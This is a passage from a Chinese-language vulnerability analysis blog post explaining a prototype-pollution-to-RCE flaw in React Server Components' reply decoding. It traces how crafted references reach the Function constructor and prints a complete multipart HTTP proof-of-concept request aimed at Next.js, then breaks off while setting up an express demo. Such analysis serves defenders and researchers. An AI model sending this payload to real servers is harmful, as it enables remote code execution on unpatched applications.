加载服务器函数引用</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">[</span><span style="line-height: 26px;"><span leaf="">9</span></span><span leaf="">] requireModule() - 加载模块导出</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">[</span><span style="line-height: 26px;"><span leaf="">10</span></span><span leaf="">] moduleExports[metadata[NAME]]</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">综上，我们可以得到以下的从 source 到 sink 路径示意图：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">Input (multipart/form-data)     ←【source】</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       ▼</span><span leaf=""><br/></span><span leaf="">decodeReplyFromBusboy</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       ▼</span><span leaf=""><br/></span><span leaf="">parseModelString</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       ▼</span><span leaf=""><br/></span><span leaf="">reviveModel()</span><span leaf=""><br/></span><span leaf="">   ├──&gt; </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (newValue !== </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf="">) value[key] = newValue   ←【sink】</span><span leaf=""><br/></span><span leaf="">   │         └───────┐</span><span leaf=""><br/></span><span leaf="">   │                 ▼</span><span leaf=""><br/></span><span leaf="">   │        key === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf=""> → prototype chain pollution</span><span leaf=""><br/></span><span leaf="">   │</span><span leaf=""><br/></span><span leaf="">   └──&gt; loadServerReference()</span></code></pre><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">2、寻找一个 gadget</span></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">上面整个从 source 到 sink 的流程跑通以后，实际上我们的目标也就明确了。就是找一个关键的 reference。为什么这么说呢，如果你读到这里，认真阅读了上面的详细步骤，那么一定会有一个关键的发现。在 </span><strong style="font-weight: bold;color: black;"><span leaf="">getOutlinedModel</span></strong><span leaf=""> 函数中，这个路径解析很关键：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">getOutlinedModel</span></span><span leaf="">&lt;</span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span><span leaf="">&gt;(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf="">  response: Response,</span><span leaf=""><br/></span><span leaf="">  reference: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">string</span></span><span leaf="">,  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 用户可控</span></span><span leaf=""><br/></span><span leaf="">  parentObject: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  key: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">string</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  map: (response, model, parentObject, key) =&gt; T,</span><span leaf=""><br/></span></span><span leaf="">): </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 解析路径</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> path = reference.split(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> id = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">parseInt</span></span><span leaf="">(path[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">], </span><span style="line-height: 26px;"><span leaf="">16</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunk = getChunk(response, id);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (chunk.status) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> INITIALIZED:</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> value = chunk.value;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> i = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">; i &lt; path.length; i++) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> name = path[i];  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  可控点</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 修复前：直接访问</span></span><span leaf=""><br/></span><span leaf="">        value = value[name];</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 如果 name = &#34;__proto__&#34;：</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// value = value[&#34;__proto__&#34;]</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// → 访问 Object.prototype ，实现原型链污染</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 修复后：检查自有属性</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> value === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;object&#39;</span></span><span leaf=""> &amp;&amp; hasOwnProperty.call(value, name)) {</span><span leaf=""><br/></span><span leaf="">          value = value[name];</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> map(response, value, parentObject, key);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在上面的示例中，我们传入的是</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">: {</span><span style="line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">: {</span><span style="line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-ql00ff" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">&#34;bound&#34;</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">因此路径解析的结果就是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> path = reference.split(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// reference = &#34;1&#34;   → path = [&#34;1&#34;]  → 无需遍历</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但如果传入的是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">: {</span><span style="line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1:a&#34;</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">: {</span><span style="line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-tsg5u0" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">&#34;bound&#34;</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那么路径解析的结果就是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> path = reference.split(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// reference = &#34;1:a&#34;     → path = [&#34;1&#34;, &#34;a&#34;]    → 遍历 1 次</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">同理，如果传入的是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">: {</span><span style="line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1:a:b&#34;</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">: {</span><span style="line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-w3ltov" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">&#34;bound&#34;</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">路径解析的结果就是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> path = reference.split(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// reference = &#34;1:a:b&#34;   → path = [&#34;1&#34;, &#34;a&#34;, &#34;b&#34;] → 遍历 2 次</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">且根据 getOutlinedModel 的逻辑，</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> value = chunk.value;</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">const name = path[i];</span><span leaf=""><br/></span><span leaf="">value = value[name];</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那么最后一个示例的调用关系就是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">a[b]</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">到这里是不是就更清楚一点了。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">是的，如果我们传入的是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">: {</span><span style="line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1:__proto__:constructor&#34;</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">: {</span><span style="line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-3piizx" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">&#34;bound&#34;</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那么解析就会变成：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">reference = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1:__proto__:constructor&#34;</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">path = [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">value = chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">].value;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// {id: &#34;...&#34;, bound: null}</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (let i = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">; i &lt; </span><span style="line-height: 26px;"><span leaf="">3</span></span><span leaf="">; i++) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// i = 1:</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> name = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  value = value[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf="">];  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// → Object.prototype</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> name = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  value = value[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">];  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// → Function</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">最终变成了 value = Function 构造函数 的调用形式。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所以关键流程变成了：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1:__proto__:constructor:constructor&#34;</span></span><span leaf=""><br/></span><span leaf="">                        │</span><span leaf=""><br/></span><span leaf="">                        ▼</span><span leaf=""><br/></span><span leaf="">      resolvePropertyReference(chunk1, [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">                        │</span><span leaf=""><br/></span><span leaf="">                        ▼</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Function</span></span><span leaf=""> ←  任意代码执行 gadget</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">遗憾的是，笔者在漏洞刚发布的时候，也就分析到这里，没有找到这个 gadget。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">下面我们就一起学习一下这个 gadget 的精彩构造吧。</span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">3、 Chunk 套 Chunk ---&gt; RCE gadget</span></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">先看看 poc 长啥样：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3" target="_blank">https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3</a></span></p></blockquote><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">POST / HTTP/1.1</span><span leaf=""><br/></span><span leaf="">Host: localhost</span><span leaf=""><br/></span><span leaf="">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36</span><span leaf=""><br/></span><span leaf="">Next-Action: x</span><span leaf=""><br/></span><span leaf="">Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><span leaf=""><br/></span><span leaf="">Content-Length: 459</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">{&#34;then&#34;:&#34;$1:__proto__:then&#34;,&#34;status&#34;:&#34;resolved_model&#34;,&#34;reason&#34;:-1,&#34;value&#34;:&#34;{\&#34;then\&#34;:\&#34;$B1337\&#34;}&#34;,&#34;_response&#34;:{&#34;_prefix&#34;:&#34;恶意代码&#34;,&#34;_formData&#34;:{&#34;get&#34;:&#34;$1:constructor:constructor&#34;}}}</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">&#34;$@0&#34;</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;2&#34;</span><span leaf=""><br/></span><span leaf="">[]</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryx8jO2oVc6SWP3Sad--</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个 poc 是针对于 next.js 的，我们可以简化一下，不要考虑 next.js 内部对于 React 的包装，可以自己创建一个 express + React 的 demo：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// server.js</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> express = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">require</span></span><span leaf="">(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;express&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> busboy = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">require</span></span><span leaf="">(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;busboy&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> app = express();</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> decodeReply, decodeReplyFromBusboy;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">async</span></span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">initReactServer</span></span><span leaf="">(</span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">module</span></span><span leaf=""> = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">import</span></span><span leaf="">(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;react-server-dom-webpack/server&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  decodeReplyFromBusboy = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">module</span></span><span leaf="">.decodeReplyFromBusboy;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">app.post(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;/api/decode-busboy&#39;</span></span><span leaf="">, </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">async</span></span><span leaf=""> (req, res) =&gt; {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">try</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> bb = busboy({ </span><span style="line-height: 26px;"><span leaf="">headers</span></span><span leaf="">: req.headers });</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> reply = decodeReplyFromBusboy(bb);</span><span leaf=""><br/></span><span leaf="">    req.pipe(bb);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> args = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span leaf=""> reply;</span><span leaf=""><br/></span><span leaf="">    res.json({</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">success</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 